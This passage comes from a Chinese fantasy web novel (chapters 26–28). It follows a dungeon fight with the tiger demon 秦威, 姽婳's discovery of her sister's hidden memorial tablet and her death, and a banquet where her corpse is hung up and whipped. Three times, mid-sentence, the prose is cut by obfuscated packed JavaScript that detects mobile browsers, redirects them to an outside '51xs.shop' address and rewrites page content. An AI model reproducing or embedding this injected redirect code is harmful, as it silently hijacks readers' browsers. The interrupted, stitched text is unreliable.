面对秦威的追问,蝶隐不慌不忙道:“数年前,我已帮宣阳王找到一枚和田玉,用来仿做传国玉玺。但魔兵传送玉石时,不小心将它摔落后院,玉碎成无数碎石,无法雕琢。” “不久后,暗卫通报有一女子上门拿着一和田玉簪找宣阳世子问她姐姐的下落。世子意识混浊,说不识得她姐姐,女子说她手上是世子亲手做的玉簪,但世子却将她赶走了。” 秦威追问道:“那这又与咱们何干?” 蝶隐轻笑:“若有人上报京城,天子发怒,你猜这宣阳王会不会被株连九族呢?” “那咱们与人族的合作不就毁于一旦?!”秦威大惊,“那咱们得快些找到她。” 蝶隐反问:“当时女子戴着面纱,看不清容貌,暗卫只记得她握住玉簪的手为断掌,从何找起?若要她永远闭嘴,自然是要花些时间。” “断掌,和田玉簪......”秦威口中念念有词。 像是赶客一般,宿无不耐道:“这事交给蝶隐去办就行,你去地牢看紧那小子罢,今夜他们会来的。” “是,左使大人。”秦威领命,俯身退到门处离开。 秦威领命,心里却很不爽。他自认武功高强,经验丰富,处理这种事情绰绰有余,可宿无道却偏偏交给蝶隐那个女人,还派他去监视一个毛头小子。罢了,等他把季伶他们抓住,升官加爵岂不是指日可待。 好不容易到地牢,秦威夺过虎兵腰间的长鞭,直冲青稚所在的牢房。他气在头上,也不等虎兵取钥匙开锁,充满了妖力的一拳震开了铁链。猛地打开门,挥舞着长鞭啪啪作响,丝毫没有留意到隔壁牢房是否有人。 被绳索紧捆的青稚坐在角落,凝视着来势凶猛的秦威,面上波澜不惊。 秦威见状,怒火更甚,扬手便是一鞭,狠狠地抽向青稚。他修为高深,臂力惊人,这一鞭下去,足以让青稚皮开肉绽。 青稚闷哼一声,却面不改色。 “哟,被困了几天,倒是长本事了。”秦威蹲下身,捏住青稚的下巴,一字一句道:“你在这里跟我耍硬气,不如好好想想怎么救救你的伙伴们。” 青稚皱眉问道:“你什么意思?” 秦威冷笑一声:“字面上的意思。你在我手里,他们难道不会想尽办法来救你吗?” “你做了什么?!”青稚瞪着秦威,身后假装被绑的双拳紧握,咯咯作响。 “螳螂捕蝉,黄雀在后!”秦威不慌不忙地说道,“在我的布局下,你的同伴们还不是瓮中之鳖?” 话音刚落,远处的烟花绽放声如同炸雷般在寂静的地牢中响起,秦威放肆大笑,“好戏要开场了!” 就在他放松警惕的瞬间,一道凌厉的劲风划过他的脸庞,在他狰狞的脸上留下一道血痕。秦威抚摸着脸上的湿润,连忙后退几步,一脸诧异地看向前方,冷汗涔涔。 青稚身后,无数根草根如同利刃般破土而出,以迅雷不及掩耳之势飞向秦威。 “这才是真正的好戏开场!” 青稚眼里尽是恨意:“秦威,我说过,别让我有机会杀你。” 26. 玉坠花落蝶留痕(二) “姽婳,你当真要去?” 莲馆内,徐妈妈担忧地看着镜中梳妆的姽婳。镜中女子美若天仙,倾国倾城,她正往唇边点缀胭脂,却因心神不宁,手一抖,竟将胭脂抹出了唇外。 “哎呀!妆花了!”徐妈妈心疼地拿过手帕沾水为姽婳擦拭,叹息道:“幸好这上等的胭脂膏溶于水,不然好不容易化的妆就废了。” 任由徐妈妈帮她擦拭,姽婳的思绪却飘向远方,眼神迷茫而空洞。 “徐妈妈,姽婳害怕。”她紧紧抓住徐妈妈的手,眼中泪光闪闪,声音颤抖道:“害怕姐姐已经不在人世了。” “傻孩子......” 徐妈妈看着这对姐妹长大,深知她们感情深厚。自姒妤失踪后,姽婳像是变了一个人似的,从调皮可爱变成温柔可人,渐渐举手投足间竟有几分姒妤的影子。徐妈妈看在眼里,疼在心里,这么久过去了,大家都默认姒妤已经遇害,只有姽婳依然坚持寻找她,真是傻孩子。 “可是姽婳更害怕找不到姐姐。让她孤零零一个人,她会很寂寞的。”姽婳抹去眼角的泪水,嫣然一笑,语气坚定地说:“走罢,徐妈妈,姽婳一定要找到姐姐。” 徐妈妈抚摸着姽婳的脸庞,将额头贴在她额间,两人闭上眼睛,感受着彼此的温暖。徐妈妈的声音温柔而坚定:“好,我们一起去寻找姒妤。” 走出房门,姽婳看到三个其貌不扬的陌生人等候在门外,她慌乱地低着头,试图遮掩红肿的眼眶。 为首的少女将一顶帷帽戴在姽婳头上,笑吟吟道:“不都是说,美人半掩面吗?有此帷帽,定给姽婳姑娘的美貌添上几分。” 这熟悉的语气,姽婳马上认出眼前这个满脸麻子,灰头土脸的少女是谁。 她握紧颈上水烟色绸缎,不禁唤道:“瑶光姑娘......” “瑶光姑娘是谁?”瑶光故意装作不懂,指了指身后也改头换面的季昀之与季伶,更正道:“姽婳姑娘,忘了吗?我是麻花儿,另外俩是我的堂兄弟麻薯儿和麻瓜儿,我们今天是来帮你抬东西的。” 这奇葩的名字逗得姽婳忍俊不禁,掩过嘴偷笑了起来。季昀之与季伶则是一脸无奈,这大概就是瑶光公报私仇的小手段罢。 正事儿要紧,姽婳指了指身后木箱,敛起笑容道:“那你们去帮我把我的琴,那箱还有服饰珠宝都带上罢。” 三人应道:“是,姽婳姑娘。” 路上,去赴宴的马车行人络绎不绝,熙熙攘攘。瑶光随莲馆的马车走着,瞧着身边众人因为要去王府赴宴,一个个兴高采烈的模样,默不出声。 “让开!都给我们朱老爷让开!” 忽然,在惊呼声中,一辆马车在他们身后疾驰而来,欲在及极其窄小的长道里冲出另一条路。瑶光未见其人先闻其声,连忙抓过身边反应较慢的人为他们让道。那辆马车在她身旁急速穿梭,烈风刮得她的脸生疼,若不是她连忙抓过身边的人躲开,那人怕是会将被撞得血肉模糊。 被瑶光救下的那人骂骂咧咧道:“这么急,急着找死吗?!” 这一小插曲像是过眼云烟,慢慢地他们来到宣阳王府前,徐妈妈和姽婳陆续被季伶扶下马车。 姽婳拿出请柬示意,在大门的侍卫们取过打开,正装模做样地审阅。 侍卫抬头看了一眼跟在姽婳和徐妈妈身后的三人,正过身,手扶剑柄,质问道:“你们一张请柬这么多人呐?” 徐妈妈什么大风大浪没见过,徐娘半老的她摇曳着身子走近侍卫,几乎要倚在侍卫身上,眼睛能拉丝似的跟他对视,“唉哟~官人儿,咱们可是来演出的,东西多着呢~你看咱们这细胳膊细腿儿的,那些东西怎么抬嘛~~” 说着,徐妈妈拉过姽婳纤细嫩滑的手,在侍卫们面前一晃,白花花的教他们晃花了眼。她嗲声嗲气道:“这不得要几个下人来帮忙嘛~” 看着姽婳的俏脸在帏帽下若隐若现,侍卫们握拳挡在面前轻咳几声,随后摆摆手让他们过了。 “欸~谢过官人儿~”徐妈妈以手捂脸,笑得千娇百媚地带她们走进宣阳王府。 今日的宣阳王府,与昨日瑶光夜探时的肃静不同。此刻,王府内处处的都是热闹非凡的喧哗声,周围灯笼高挂,彩绸团簇,华灯璀璨。一个又一个貌美侍女笑意盈盈地端着酒水,从瑶光身旁小步走过,抱住琴的瑶光微微收步给她们让路。 “唉哟,这是姽婳姑娘吗?”管家匆匆而来,连忙道:“大家都在等着您开场儿,王爷王妃快来了” “咱家这不就来了嘛~急什么呢~”徐妈妈娇嗔道。 “徐妈妈你可别戏弄我啦。”王府总管犯了难,拉着徐妈妈就往一旁走,“唉,快,快,这边请!” 瑶光在众目睽睽之下,悄悄把琴放在庭院舞台中的案几上,将包裹住它的布掀开。 之前在远处看不清,她这才仔细打量这把琴。琴身没有任何花纹,仅有“春”字在旁,朴素至极。但琴身油亮,琴弦光滑,一看就知它的主人十分珍惜它。 但如此普通的琴又如何能弹奏出动人的乐曲呢?在座各位名门望族的来客面面相觑。 姽婳小摇步走到琴前,深呼一口气,将帷帽摘下递给瑶光。众人看着如出水芙蓉般的脸,倒吸一口凉气,脸上尽是遮不住的惊艳之色。 与瑶光对视一眼,她轻轻点了点头,坐下正欲抚琴,却被打断了。 “咱们朱老爷早闻莲馆姽婳姑娘色艺双绝,今日一见果真如此。”朱老爷?这声音,是刚刚疾驰的马车上吆喝的随从。 姽婳淡然一笑:“朱老爷还未听姽婳奏琴,又怎知道姽婳琴艺绝?” 被怼的随从无话可说。 倒是朱老爷站了出来,道:“姽婳有如此美貌,要是来我朱府演奏,何须抚琴,饶是吹箫也是一绝呀。” 众人听后哄堂大笑。 下流的人果然出口便是下流的话。在莲馆长大的姽婳怎会不知朱老爷的意思,她轻笑道:“那不如朱老爷还是听了再作判断罢。” “你!”被拂了脸面的朱老爷气急败坏。 只见姽婳抬手往冰冷的琴弦上轻扫,还未开始奏乐,琴声已如同潺潺流水般清脆。继而,奏起,琴声虽紧而不死,虽实而不板,时而如同苍凉的风,时而又同挥洒热血的战场,抑扬顿挫,澎湃激昂,使听者身临其境。 这哪是美人曲呀,这乃是战前乐! 曲罢,在场的人无一不给这余音缭绕的演奏献上掌声。姽婳朝朱老爷看去,他脸色可是难看得很。 “果真好琴艺。” 一身华服的宣阳王搀扶着宣阳王妃姗姗来迟,朱老爷看见一时慌张,连忙不留声色地坐下 “姽婳谢过王爷的夸赞。”姽婳看了一眼紧跟其后的宣阳世子,温顺地低下头,俯身退下。 “抱歉啊,各位。本王来迟,自罚一杯。” 见宣阳王自饮一杯,众人纷纷举起手中酒杯一饮而尽,喊道:“饮酒,饮酒。” 宴席继续进行,而在无人留意的角落,姽婳一行人退至隔院歇息处。 季伶派乌鸦在屋外看守,左右观望确保周围无人后,紧闭上门,转身道:“看过了,外面没人。” “是时候行动了。”季昀之神色凝重道。 徐妈妈握过姽婳的手,轻轻地拍了拍,一改早前谄媚的模样,担忧道:“那就麻烦你们替我照顾好姽婳了。” 姽婳回握住徐妈妈的手,极其认真地看着她,说:“我会小心行事,找到姐姐的。” 瑶光朝徐妈妈抱拳作揖,郑重说道:“徐妈妈,请您放心,我们一定会平安回来。” 临行前,她再次叮嘱众人:“待会出去,务必按计划行事。姽婳姑娘随我去,季伶随昀之仙君去,我们向东,你们向西,兵分两路。” “是!”众人齐声应下。 瑶光迅速从法袋中取出两张移身符,根据自己前几日夜探王府时的记忆,准备将他们移身到安全的地方。她将一张移身符悬挂于空中,口中念念有词,移身符瞬间化作法阵之门。季昀之与季伶朝她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984652|147181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微点头,在法阵闭合之前快步走进,消失在原地。 随后,瑶光故技重施,再次形成一个法阵。为了避免他们一移身就遇到危险,她率先走进法阵。然而,当她回头朝姽婳看去时,却发现姽婳仍一动不动地站在原地。 瑶光心头涌上一股不安。由于时间已过,法阵猛地闭合,她眼中只留下姽婳最后的满怀歉意的神情。 “对不起,瑶光姑娘。姽婳不能拖累你去救人,姐姐就让我自己去寻吧。” 夜幕降临,一位女子身披素白柔衣,手提一只莲花琉璃盏,烛光在她身前流转,犹如白昼般辉煌,将昏沉的暮色一扫而空。院中的假山在烛光下隐约可见,鹅卵石铺就的小路静谧幽深,有几分阴森森的气息。 一处院落灯火通明,门口站着数只虎妖在坚守。一般院落只有普通侍卫在巡逻,这处竟有妖族,必定有蹊跷。 姽婳收过琉璃盏,将烛光吹灭,借着树影的掩护,她悄悄接近院落。待巡逻的虎妖走远,她才看清,原来那是一处佛堂。 为什么是妖怪在看守佛堂呢? 怀着疑问,姽婳正思考要如何接近时,一场烟花突然冲上云霄,在空中化作五颜六色的鎏金花卉后,散成无数猩红小点落下。烟花共有五场,五场声落后,不远处似是有事发生,虎兵们像是受到了召唤,纷纷冲进佛堂后——原来他们看管的不是佛堂,而是佛堂后的暗道。 见如今佛堂前无人看守,姽婳悄悄走近潜入。 佛堂内庄严神圣,中央有一小佛像被密密麻麻的烛火围住,而那佛像后尽是数不清的的牌位,个个被整齐有序地高高放起,形成了一面墙。 借着鼎盛的灯火,姽婳感觉那些牌位似乎是在看着她,像是受到了呼唤一般,她鬼使神差地走到那些牌位前。盯着那中心的牌位看了半晌,姽婳将其拿起,似乎还听到了里面有些声响。翻过牌位,她找到一处缝隙,可她却无法将其掀开。 今日姽婳的发饰并无簪类,正在她发愁时,她突然想起怀中还有她姐姐的玉簪。从怀中取出玉簪,再三犹豫之下,她还是用玉簪撬开了缝隙。她打开一看,里面竟还有一暗格,而暗格内,有一稍小些的牌位。 与在一旁檀香木所制的牌位不同,被藏起的牌位是用普通木材所制,这木材一看便是刚刚路上随处可见的梧桐木。被藏起的牌位呈灰黄色,应当是被藏起来后就没有被柏油擦拭过,藏得有些时日了。牌位上的字更是刻得七扭八歪,都说见字如见人,那上面每走歪的一笔一划,像是都在表露刻画者当时的情绪不定。 突然,姽婳不可置信地看着眼前的牌位,上面刻着的每一个字她都要细细观看,生怕自己看对了任何一个字。她的眼泪像是不受控制般,一滴一滴落下。 “吾妻......裴家娘子......” 越读,姽婳的咽喉哽得越疼,胸口像是在被一只无形的手在紧紧地掐住,让她渐渐喘不上气。她像是用尽了所有力气,读出了最后两个字,绝望的感觉如同惊涛骇浪般袭来。 “......姒.....妤。” 原本的信仰被摧毁,姽婳的意识在那一刻瞬间崩塌,霎时间所有的委屈涌上心头。她像是认清了事实,发抖的手紧紧地抱住那牌位跪下,柔弱的双肩猛烈地在抽搐,泪水顺着脸庞无声地落下,撕心裂肺地失声痛哭。 姐姐!!! 姽婳那一声无声的嘶吼,仿佛将她这些年来心中对失踪的姐姐满腔的想念都诉说出来,也诉说着她失去最爱的血亲所造成的无尽哀痛。 她找到她的姐姐了!但同时,她再也回不来了! 精神上如此强大的冲击让姽婳几乎要昏厥过去,此时的她已将所有泪水哭干,头晕目涨地瘫坐在地上,渐渐地出现了幻觉。 身后细碎声起,姽婳转身望过去,她仿佛看到了她多年未见的姐姐朝她走来。她还是穿着那套水蓝色纱裙,身姿仍是记忆中的温柔娴静。 她愈走愈近,声音温柔而空灵:“美人儿?” 姽婳惊醒! 27. 玉坠花落蝶留痕(三) 地牢中,青稚突然向秦威犯难,秦威一个翻身险险躲过,一旁的墙上瞬间被戳出数个小孔。秦威侧头一瞥,心头不禁一紧,若是被刺中,他恐怕已成为刺猬。 他哪能忍受被青稚如此压制,于是蓄满了妖力,飞身而起,一拳猛击向青稚。 青稚虽练习了御物术,却尚未掌握身法,再加上本来右臂就有伤,只能勉强避开秦威的一击。经验丰富的秦威留意到青稚近战劣势,立即转身再次冲向他,又是一拳击往青稚的右臂。 这次青稚稍稍迟钝,意料之中的未能及时躲避。 就在秦威得意洋洋地要击中青稚头部时,木头断裂声响起,一脚从他身旁劈来,其劲道之大几乎能将他手骨粉碎。秦威余光瞧见,连忙将拳抽回,可那脚像是长了眼似的,猛然一个回旋直劈向他的肋间。伴随着一声沉闷的撞击声,秦威几乎听到了自己肋骨碎裂的咔嚓声响,整个人摔落在地牢走道石墙上。 青稚不禁赞叹道:“司幕公子!没想到你不仅擅长御物术,还精通身法!” “司幕?逍遥药谷的神医司幕?” 秦威啐出一口血沫,怒视着司幕,原来他与青稚是一伙的。他初次见到司幕此人时就觉得他气质非凡,一看就知道不是好惹的人物,再加上如此造诣高绝的身法,与他交手必然是场恶斗。 青稚惊讶地问道:“你们认识?!” “是,但又不完全是。” 这句话似乎既是回答了秦威,也是回答了青稚。 司幕整理好黛蓝色的长袍,将凌乱的长发随意束起。他瞥了青稚一眼,双手负在身后,眼神冷漠,即使只是静静站立在那,也散发着强大的压迫感。 “本想让你练练手,没想到你连他三招都接不住。” 青稚忙道:“等我再练练,杀他绝不是问题。” “好,那就再给你练练。” 话音刚落,司幕的身影鬼魅般地一晃,已移身至秦威身后,一把抓住秦威的后颈,将他牢牢控制住,使他无法动弹。随后,他轻松将秦威高高举起,挡在身前,对青稚说道:“来,练吧。” 秦威瞳孔紧缩,他们这是把自己当练习的靶子了! 看着秦威狼狈的模样,青稚心中一阵痛快。他点头示意,抬起手,故技重施。无数根杂草如暴雨般齐射而出,直指秦威。 秦威拼命地挣扎,却无法摆脱身后的束缚,只能发出震耳欲聋的虎啸声,呼唤早已安排在地牢外守候的数千名虎兵前来解救。就连在佛堂巡逻的虎兵也被他召唤而来。 无数根杂草如利刃般刺穿他的身体,剧烈的疼痛瞬间席卷全身。他的身上布满了血孔,鲜血不断地流淌出来。 与此同时,地牢突然开始震动,沙砾从顶处纷纷落下,仿佛有千军万马朝他们踏地而来。 司幕察觉到周围的异动,眼中闪过一道寒光,眸中琉璃色光芒闪烁。他厉声命令青稚道:“闭眼!” “哦!”青稚猛地将双眼闭上。 下一刻,一股浓重的铁锈味扑鼻而来。 “御血术!” 秦威惊呼出声。他看着自己体内流出的血液凝聚成血珠,缓缓浮起在空中,每一滴都微微颤抖着,似乎蕴含着即将喷涌而出的强大力量。 就在那一瞬间,司幕微微一握,地牢中顿时血光四溅,焰火全灭,四周一片昏暗。 秦威大口喘息着,借着月色往走道入口处望去,眼前景象让他几乎呆住。那里俨然已经变成了一片血流成河的地狱。前来支援的无数虎兵们都倒在了血泊之中,层层叠叠的尸体上布满了密密麻麻的血孔,鲜血正从其中涌出。 真的是御血术!秦威心头涌起一股寒意。 御血术,乃是血煞地狱——鬼王的秘技,从古至今唯鬼王能驾驭。 但其实,世上本无鬼王。 鬼族原先尽是流浪在外的孤魂野鬼,靠东躲西藏,偷偷摸摸吸取凡人精魄而活,在三界六族里是最无用的种族。然而数百年前,有一厉鬼横空出世,以一己之力不用半刻便灭掉一城,当时用的正是御血之术。该厉鬼更是带领着鬼族崛起,建立让人闻风丧胆的血煞地狱为鬼域,为鬼族扬眉吐气,成为不可撼动的存在。自那之后,世人尊称其为鬼王,众鬼族无一不为他臣服,其他种族也谈之色变。 眼前的这个神医司幕,难道就是传说中的鬼王?! 秦威惊呼而出的字眼让司幕倍感不悦,他眉间微凑,手里使力欲把他颈骨弄碎。 就在秦威感觉自己的骨骼正在逐渐分崩离析要死去时,一声轻笑起,慵懒傲慢的声音从远处飘来。 “幻境繁影。” 司幕忽觉手中一轻,眼前被他禁锢住的秦威竟消失的无影无踪。眨眼间,周围景象骤然变幻,竟血腥肮脏的地牢消失了,取而代之的是仙气缭绕的司府。而他站在一处春意盎然的院落中,似雪白发一丝不乱地拢在脑后,身姿挺拔。 “阿迟,你又记错了。” 黄衣少女从他身后靠近,握起他的手作起手势,纠正道:“中指要靠在食指后。” 她的声音如一股甘冽的清泉,涓涓细流,流淌入司幕心间。司幕强忍着心底的涌动,他下意识问道:“一定要有手势吗?” “不仅是手势,前期打根基时口诀一字也不能差。”少女故作恼怒,扬起眉,一本正经道:“不许偷懒,知道吗?” “好。” 司幕笑了,他的笑如春风拂面,却让少女十分担忧,她劝道:“好好练,师尊说我过段时间便要闭关了。长期内我会呆在山上,若你有事,我不在怎么办?” 司幕回握少女的手,安抚道:“我会照顾好自己的,而且大家都对我很好,我在这儿必定无碍。” “这次入关,我总有不好的预感。” 就着被握住的手,少女依偎在司幕身后,轻声细语道:“阿迟,你一定要等我回来。” “我会一直在这里等你。” “要是我回来时你不见了呢?” “别乱想。”司幕放开少女的手,转身朝她看去,目光无比笃定:“除非我死,否则我会一直在这等你。” 日复日,年复年。春暖花开,花开花落,花落花又开。 依旧是那一处院落,司幕口中念念有词,手势一起,遍地的花瓣漂浮而起,如花海涌动一般在空中翻涌,形成一团。届时,侍女春雨拎着一个麻袋将其敞开,任由司幕将花团滚进麻袋中。 绑好麻袋,春雨不禁惊叹:“迟公子果真如小小姐说的一般,天赋异禀,一悟就懂,原本需要修炼四五年才掌握的御物术,不到两年倒是已经被公子轻松拿捏了。” 司幕望着自己的双手,眼神黯淡,沉默不语。 “春雨,你又在我背后说我什么坏话呀?” 少女款款而来,鹅黄的裙摆随风摇曳,悦耳的声音带着肆意的狡黠。 “小小姐!你闭关回来啦!”放下手中满满当当的麻袋,春雨欣喜若狂地快步上前,用力抱住少女纤细的腰枝,勒得少女生疼。 少女痛呼:“喂,谋杀啊!” “小小姐怎么闭关回来更弱了。”春雨连忙松开手,小声嘀咕道。 “说什么呢?我都在你面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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如此温柔又残忍的杀戮之法,是那个人没错了,没想到他竟然来了。 可惜现在不是叙旧的好时候,他急需吸取精气疗伤,不然过不了多久必定因失血过多而死去。他使出全身力气撑起身,利用兽族的天性,一路上跌跌撞撞靠着鼻子的嗅觉,竟来到了佛堂。 听到佛堂内传来阵阵的哭声,他将门打开一条缝隙,往内望去,曼妙的身影映入眼帘。仔细一看,她手上还拿着一枚白里透黄的玉簪子,簪上赫然刻着一只可爱的玉兔。 ——是之前宿无吩咐要留意的簪子! 秦威大喜过望,悄声走近,喊了一声,吓得姽婳花容失色。只见她一手护着怀中的牌位,一手高举手中玉簪,欲将玉簪刺向秦威。 但秦威不惧她的小伎俩,他不躲不闪,径直上前,大手一伸,如铁钳般抓住姽婳的手腕。他仔细打量着玉簪,又扒开她的掌心,意味深长地说道:“断掌,和田玉簪,难道你就是左使要找的人?” 本来还担心看管青稚一事事败后他定是死路一条了,没想到还能被他遇到将功抵过的机会,真是柳暗花明。 感受到秦威身上弥漫的杀气,姽婳奋力用玉簪划破他的手臂,挣脱他的束缚,紧抱着手中的牌位,节节后退。 她的恐惧尽显在脸上,秦威眼底血红一片,他歪过头,咧嘴一笑:“哦,我忘了告诉你,左使要找的并不是人,而是尸体。” 顿时,和田玉的簪子,破旧的牌位以及水烟色的绸缎,散落一地。 28. 玉坠花落蝶留痕(四) 竹弦管乐声此起彼伏,舞姬们婀娜多姿,柔软无骨,随着曼妙的旋律忘情地起舞,犹如清波荡漾,风情万种。在座观客们饮酒享乐,仿佛置身于一幅歌舞升平的画卷中,尽显悠然祥和。在座观客饮酒享乐,仿佛置身于一幅歌舞升平的画卷中,不亦悦乎。 一身锦衣华服的妖艳男子借着烛火的明亮,无畏众人的目光,悠然而至,一步一步傲慢慵懒地走到宿无身边坐下。只见他一手撑颚,一手自顾自拿起酒杯轻抿一口,那眉如墨画,面如桃瓣的模样,惹人遐想,众人不禁窃窃私语,纷纷猜测他与世子的关系。 离世子较近的朱老爷更是古怪一笑,眼神有意无意地在两人之间逡巡。回想自认识世子以来,世子一向不近女色,如今竟是如此。 六重紫悠悠说道:“我的下属无能,让你见笑了。” 宿无拍开肩上前来报信的银蝶,笑道:“意料之中,不然也不会找你来。” “你让蝶隐来找我,怕不是只要我来看管我的下属罢。”一杯罢,六重紫将杯半举起,识时务的宿无拿起酒壶为他满上。 宿无道:“自然不是,我这次遇到麻烦了。” “噢?但说无妨。” 六重紫又一杯饮尽,宿无又给他满上,问:“你可知我遇到了谁?” “鬼王吗?”想起刚刚在牢里看到的男子,六重紫无奈地笑了笑,那人还是那么血腥暴力,真是不温柔呢。 宿无微微一怔:“你见到了?” “刚刚见到了。略施小计,暂时拖延了他。若是硬碰硬,以我此时的状态,胜负难料。” “那我可得抓紧时间速战速决了。”宿无语气凝重。 “那你去罢,我先告辞。” 宿无皱眉:“你不帮我?” “宿无,你知道,我是不会帮人族的。”六重紫将手中美酒一饮而尽,悄然起身,拍了拍衣裳,生怕沾染上了一丝肮脏的人味。下一秒,他一除原先的笑意,俯视宿无的眼神瞬间变得阴冷,如淬了寒冰,让人不寒而栗,仿佛将周围的热闹与喧嚣都与他无关。 六重紫冷声道:“我恨不得将这里在场的所有人都碾在脚下,包括你那俩便宜爹娘。” 宿无眉头紧锁,他深知六重紫的痛点,百口莫辩。 见六重紫起身要走,朱老爷以为是世子的宠儿生气了,连忙上前拍马屁:“哟,公子怎么就走了呢?今日世子备有佳宴及精彩戏目,你不陪陪他?” 六重紫挑眉,眼角一点痣愈发显眼,似笑非笑地问道:“哦?你为何以为我就应当在这儿陪他呢?” 朱老爷一时语塞,支支吾吾道:“这,你这不是世子的那位嘛,咱今天宴会,陪陪......” “世子~他可真会~”还未等朱老板说完,六重紫便以扇半遮面,似无骨般倚在宿无身上,笑得张狂肆意,可眼底却是冷意涌动。 “~找死!” 下一秒,六重紫眼底泛起一抹红,与他对视的那朱老爷像是陷入了混沌狂乱中。在惊慌声中,他中了邪似的瞬间自行脱光了衣裳,猛地将自己□□往一旁的柱子上撞,任谁都拦不住。 “中邪啦!!!中邪啦!!!” “老爷!!!” 嘭!嘭!朱老爷如有神力,挣脱开众人的阻扰,一直撞,一直撞,直至那处血肉模糊,痛到昏死过去。须臾,他的仆人向前将二指轻轻置于他鼻前,那处竟没有了呼吸。 仆人面如土色,大喊:“老爷没了!” 这句话如同晴天霹雳,在座宾客无不面无人色,鸦雀无声。恐惧像潮水般蔓延,每个人都屏住呼吸,大气都不敢出一声。 反观六重紫,他极其傲慢地不停拍着手叫好:“精彩!实在精彩!这场戏,果然出彩!” 一旁的王爷不知其身份,只觉得他太过放肆了,于是低咳几声,以表不满。 注意到声响的六重紫冷冷扫了王爷一眼。 王爷想要开口说话,却惊恐地发现自己竟然发不出任何声音,一股寒意瞬间涌上心头,冷汗涔涔。 “但这酒着实重了点,喝得都有点晕沉沉的,我先行告辞。” 六重紫留下这么意味深长的一句,俯瞰众人,冷哼一声,不顾宿无的挽留,转身消失于屏风后,留下一片诡异的氛围。 “大人!大人!我抓到人了!” 刚靠吸完精气恢复状态的秦威神清气爽,似是拖着什么东西,朝宿无快步走来。待他见到蝶隐不在,更是窃喜不已。 他跪下行礼,道:“怕大人已知道地牢一事了,大人要如何罚秦威都可以,但请先让秦威将功抵过。” 方才的一场闹剧气得宿无此刻心情欠佳,他随口应了一声。 “大人你看!这是那名你寻找多年的断掌女子。”说着,秦威递上和田玉簪,拉过尸体的手掌给宿无看。 看着那和田玉簪,宿无突觉脑中晃神,连忙侧开目光。他忍住心中绞痛的异样,勾手唤来在一旁值班的招四,“你认认,是她吗?” 招四看着那冰冷的尸体,点头作揖:“除面容外,她确实与当日那女子十分相似。” 此刻宿无头痛欲裂,他拿起茶杯,扫过茶沫,轻嘬一口,不再言语。 被冷落的秦威连忙道:“这女子和青稚他们一伙的,也许我们可以利用她的尸体逼他们现身。” “如何逼他们?”宿无问道。 “将其尸体挂在庭中吊起,供人观赏如何?他们人族常说义气一词,定不会让同伴被如此羞辱。” 宿无点头示意,随即秦威迅速指示在场的侍卫将尸体挂在刚刚姽婳还在演奏的台上。 被唤的侍卫们哪里做过如此残忍之事,再加上刚刚朱老爷撞邪一事,个个左顾右盼,犹豫不决,不知该不该照做是好。秦威不耐烦了,一手将尸体往侍卫身上推,面容狠戾,逼得他们只能按着照办。 秦威高声宣告:“此女行刺世子,其罪已诛。尸体挂至庭中以儆效尤!” “姽婳!” 原在远处观望等待的徐妈妈看到在空中摇摆的那一抹水蓝,瞬间坐不住了,奋不顾身地冲上去,紧紧抱住尸体的脚,泪如泉涌。 侍卫们想要拉走她,但她却死死地抓住尸体的脚不放,哭喊着求饶道:“王爷!王妃!世子!咱家姽婳一姑娘家,怎会做出行刺世子之事!求你们放过姽婳尸身,让咱家带回去入葬吧!” “嗯?有道理,一届女流之辈确实不行。” 听到一半,徐妈妈眼前一亮,却被下一句话击溃。 宿无嘴角扬起:“那就是说她有同伙咯,你可知他们在何处?” “徐妈妈......不知道世子你在说什么......” “不配合?”宿无让招四递来的马鞭,一把扔到场上,“光供人观赏哪能行,不如刺激一点——赏在座每人一鞭。” 接着,他又目光炯炯地盯着徐妈妈,补充道:“你先。若不打到皮开肉烂,你就给我上去替她的尸身受鞭刑罢。” 泪水已将徐妈妈脸上的妆容溶化如鬼画符,她崩溃地瘫坐在地上,一动不动。看着正落在她触手可及之处的马鞭,她倔强地抬起头,道:“谢世子赏赐,徐妈妈不鞭。” “好,我欣赏你。”宿无目光如刀,仿佛要将一切惹怒他的人五马分尸,厉声喝道:“来人!将她给我吊起来!” “你听说了吗?有人要行刺世子,结果被世子吊起来受鞭刑了。” “谁啊?太大胆了!” “听说她已经死了,可还要被吊起来被打。” “好像是莲馆那边来的姑娘家......” 死了? 莲馆今日来的只有姽婳与徐妈妈,难道他们出事了?! 道听途说之下,原本在一旁隐藏得很好的瑶光,此刻犹如五雷轰顶,焦急地赶回前院,想看个究竟。 结果,待到她回到前院时,她脸色煞白,眼前所见是那样骇人的画面。 庭中,本该在享乐的众人像是在参加什么盛大的仪式一般,排着队,轮流握起秦威递来的马鞭,疯狂地向上方吊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020250|147181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的东西抽打。 走近一看,那是两个人,挂在那儿。准确地说,是一个尸体和一个活人。 姽婳身上水蓝的衣裙已被染成血红,她被高高地吊起来,脸上毫无血色,苍白如同瓷娃娃,仿佛正在静静沉睡。与一旁鬼哭狼嚎的徐妈妈相比,每一鞭甩在她身上她都毫无反应,似是早已死去多时。 “不够狠!再使劲一点!”秦威怒喝道。 